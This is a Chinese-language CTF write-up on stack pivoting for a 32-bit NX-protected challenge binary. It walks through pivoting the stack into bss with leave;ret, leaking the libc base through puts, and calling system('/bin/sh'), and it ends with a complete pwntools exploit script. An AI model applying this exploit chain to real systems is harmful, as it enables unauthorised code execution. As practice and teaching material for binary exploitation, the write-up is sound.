介绍
栈迁移可以解决栈溢出后,没有足够空间写入 payload 的情况。主要通过 伪造 ebp ,并利用 leave|ret gadget 劫持栈到预设位置。
leave | ret == mov ebp,esp;pop ebp;ret
题目介绍
程序为32 位打开 NX 防护:
运行程序,提示输入,输入后退出程序:
main 函数 read 存在栈溢出,可溢出长度为 0x40 - 0x28 :
1 2 3 4 5 6 7 8 9 10 11
| int __cdecl main(int argc, const char **argv, const char **envp) { char buf; // [esp+0h] [ebp-28h]
if ( count != 0x539 ) exit(1); ++count; setvbuf(_bss_start, 0, 2, 0); puts("Try your best :"); return read(0, &buf, 0x40u); //栈溢出 }
|
在可以溢出操作的空间很小,可以考虑使用栈迁移,当然你能找到超短的 shellcode 也可以。能不能进行 ROP ,emmm 需要修改 count 防止退出程序。那就用栈迁移吧。
利用思路
我们可以利用溢出 eip 调用 read 在劫持前,写入伪造栈空间内容(执行什么命令、有什么变量、伪造栈的ebp等)
伪造 ebp 劫持当前栈到另外一个地方 stack 1 ;然后在 stack 1 泄露出 libc 基地址,并再次伪造 ebp 劫持当前栈到另外一个地方 stack 2;调用 system(‘/bin/sh’) 。
第一步
我选择将当前栈 stack 0 ,劫持到内存地址为 bss+0x200 的stack 1。为什么是 bss+0x200 ?一开始劫持到 bss 报错,然后就选择高点的地址就成功了。
我们迁移栈之后,栈总不能是空的,什么都不执行就退出了,所以在这一步需要控制 stack 0 的 eip 调用 read ,写入 stack 1 的栈数据。
大致利用思路里说了,需要第二次迁移栈,所以我们也需要伪造 stack 1 ,以实现在将 stack 1 劫持到 stack 2 。
payload 0 构造如下:
1 2 3 4 5
| payload = 'a' * 0x28 payload += stack_1 payload += read_plt payload += leave_ret payload += p32(0)+p32(stack_1)+p32(0x100)
|
注意:输入 payload 0 依然在 stack 0 ,停在 read 等待输入状态。我们输入 payload 1 后才栈迁移到 stack 1 。
第二步
在这一步需要泄露 libc 基地址,调用一个有输出功能的函数,把某一个函数的真实地址输出出来,然后计算 libc 的偏移。
这一步还需要进行一次栈迁移,伪造的 ebp 已经在迁移进入 stack 1 前,已经在stack 0 通过 read 写入到 stack 1 的 ebp 位置,所以只需要调用 leave|ret gadget 就可以进行栈迁移。
既然进行栈迁移,就还是需要提前写入 stack 3 的数据,就需要再次调用 read 。payload 1 先提供一个用于写入stack 2 的 read 函数入口,至于 payload 2 在第三步分析。
payload 1 构造如下:
1 2 3 4 5 6 7
| payload = p32(stack_2) payload += p32(puts_plt) payload += p32(pop_ret) payload += p32(puts_got) payload += p32(read_plt) payload += p32(leave_ret) payload += p32(0) + p32(stack_2) + p32(0x100)
|
第三步
这一步不需要再栈迁移,因此不需要再伪造 ebp ,用 0x8 数据填充占位即可。最终目的是执行 system(‘/bin/sh’) ,system 地址可以通过查询 libc 后加上偏移得到,/bin/sh 获取有多种方法。可以在 libc 查,可以再次调用 read 输入。
payload 2 构造如下:
1 2 3 4 5 6 7
| payload = p32(0x11111111) payload += p32(read_plt) payload += p32(pop_ret) payload += p32(0) + p32(stack_1) + p32(0x100) payload += p32(system_addr) payload += p32(0x22222222) payload += p32(stack_1)
|
栈空间图
用 read 从 stack esp 写入的时候,各个指令顺序与计算机写入方式有关。假如 read 0x10 数据,会从输入地址向高地址写入 0x10 空间。写入一般为小端序,简单点就是写在前面的,存在后面。输入 ABCD ,录入 0x64636261 。所以 read 中填入命令越前地址越高越先被执行
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import* context.log_level="debug" p = process('./migration') lib = ELF('/lib/i386-linux-gnu/libc.so.6') elf = ELF('./migration') read_plt = elf.symbols['read'] puts_plt = elf.symbols['puts'] puts_got = elf.got['puts'] read_got = elf.got['read'] buf = elf.bss() + 0x500 buf2 = elf.bss() + 0x400 pop1ret = 0x804836d pop3ret = 0x8048569 leave_ret = 0x08048418 puts_lib = lib.symbols['puts'] system_lib = lib.symbols['system'] p.recv() log.info("*********************change stack_space*********************") junk = 'a'*0x28 payload = junk + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100) p.send(payload) log.info("*********************leak libc memory address*********************") payload1 = p32(buf2) + p32(puts_plt) + p32(pop1ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret) payload1 += p32(0) + p32(buf2) + p32(0x100) p.send(payload1) puts_add = u32(p.recv(4)) lib_base = puts_add - puts_lib print "libc base address-->[%s]"%hex(lib_base) system_add = lib_base + system_lib print "system address -->[%s]"%hex(system_add) log.info("*********************write binsh*********************") payload3= p32(buf) + p32(read_plt) + p32(pop3ret) + p32(0) + p32(buf) + p32(0x100) + p32(system_add) + 'bbbb' + p32(buf) p.send(payload3) p.send("/bin/sh\0") p.interactive()
|